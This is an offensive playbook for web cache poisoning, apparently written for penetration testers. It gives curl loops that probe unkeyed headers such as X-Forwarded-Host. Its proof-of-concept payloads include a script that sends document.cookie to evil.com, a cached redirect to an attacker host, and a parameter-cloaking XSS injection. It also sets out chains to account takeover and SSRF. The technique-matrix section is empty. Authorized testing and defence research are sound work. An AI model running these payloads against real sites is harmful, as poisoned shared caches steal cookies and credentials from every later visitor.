Web Cache Poisoning Playbook

Distinct from cache deception (tricking the cache into storing a victim's private response). Here, the attacker poisons the shared cache so every subsequent visitor receives an attacker-controlled response. Impact ranges from defacement → reflected-XSS-as-stored → forced-redirect → DoS.

1. Detection — find unkeyed inputs

Definition: an unkeyed input is a header/parameter the cache ignores when building the cache key but the origin reflects into the response.

URL="https://<TARGET>/"

# (1) Cache-status fingerprint — must see HIT/MISS to know caching exists
curl -s -D- -o /dev/null "$URL?cb=$RANDOM" | grep -iE "age|x-cache|cf-cache-status|via"

# (2) Suspect headers — reflect into body or Location?
for H in "X-Forwarded-Host: evil.com" "X-Forwarded-Scheme: http" \
         "X-Forwarded-Port: 8888" "X-Forwarded-For: evil.com" \
         "X-Host: evil.com" "X-Original-URL: /admin" \
         "X-Rewrite-URL: /admin" "X-Forwarded-Server: evil.com" \
         "Forwarded: host=evil.com"; do
  echo "== $H =="
  curl -s "$URL?cb=$RANDOM" -H "$H" | grep -E "evil\.com|8888|/admin" | head -3
done

# (3) Confirm poisoning — same URL twice, second request WITHOUT the header
curl -s "$URL?poison=1" -H "X-Forwarded-Host: evil.com" -o /dev/null
curl -s "$URL?poison=1" | grep -E "evil\.com"   # if present → poisoned

2. Misconfig / technique matrix

3. Exploit PoC

3.1 Stored-XSS via unkeyed Host

# Origin reflects X-Forwarded-Host into <meta property="og:url">
curl -s "https://<TARGET>/?cb=$RANDOM" \
  -H 'X-Forwarded-Host: a"><script>fetch("https://evil.com/?c="+document.cookie)</script><x="'
# Verify cache HIT for the next visitor:
curl -s "https://<TARGET>/?cb=$RANDOM" | grep -o 'evil\.com'

3.2 Forced redirect

curl -s "https://<TARGET>/login?cb=$RANDOM" -H "X-Forwarded-Host: evil.com" -o /dev/null
# Subsequent victims:
curl -sI "https://<TARGET>/login?cb=$RANDOM" | grep -i location
# → Location: https://evil.com/login  (cached for the TTL)

3.3 Param-cloaking poison (Ruby/Rails-style last-wins vs. CDN first-wins)

curl -s "https://<TARGET>/?utm=clean&utm=%22%3E%3Csvg/onload=alert(1)%3E"

4. Chains

• Cache poisoning → stored XSS: reflected XSS upgraded to mass-victim impact via cached response.
• Cache poisoning → ATO: poison /login to send creds to attacker via swapped form action.
• Cache poisoning → SSRF: poison API responses an internal job consumes.
• Smuggling → cache poisoning: HTTP request smuggling stores arbitrary attacker response globally.

5. Tools

• Burp Suite — Param Miner extension (Hackvertor + cache rules) — the canonical tool
• cache-poisoning payload lists (PortSwigger research)
• httpx -follow-redirects -title -tech-detect for fingerprinting Vary/X-Cache

6. Detection signatures & OPSEC

Decision Gate: poisoning confirmed → exploitation

• Caching layer present (X-Cache: HIT, Age: ticks)
• At least one unkeyed input reflects into response/redirect
• A second request without the input still returns the poisoned response
• Reflected payload reaches a security-sensitive sink (script, Location, form action)
• Defender notified before live-cache exploitation (authorized scope) If all checked, escalate per finding-protocol; otherwise downgrade.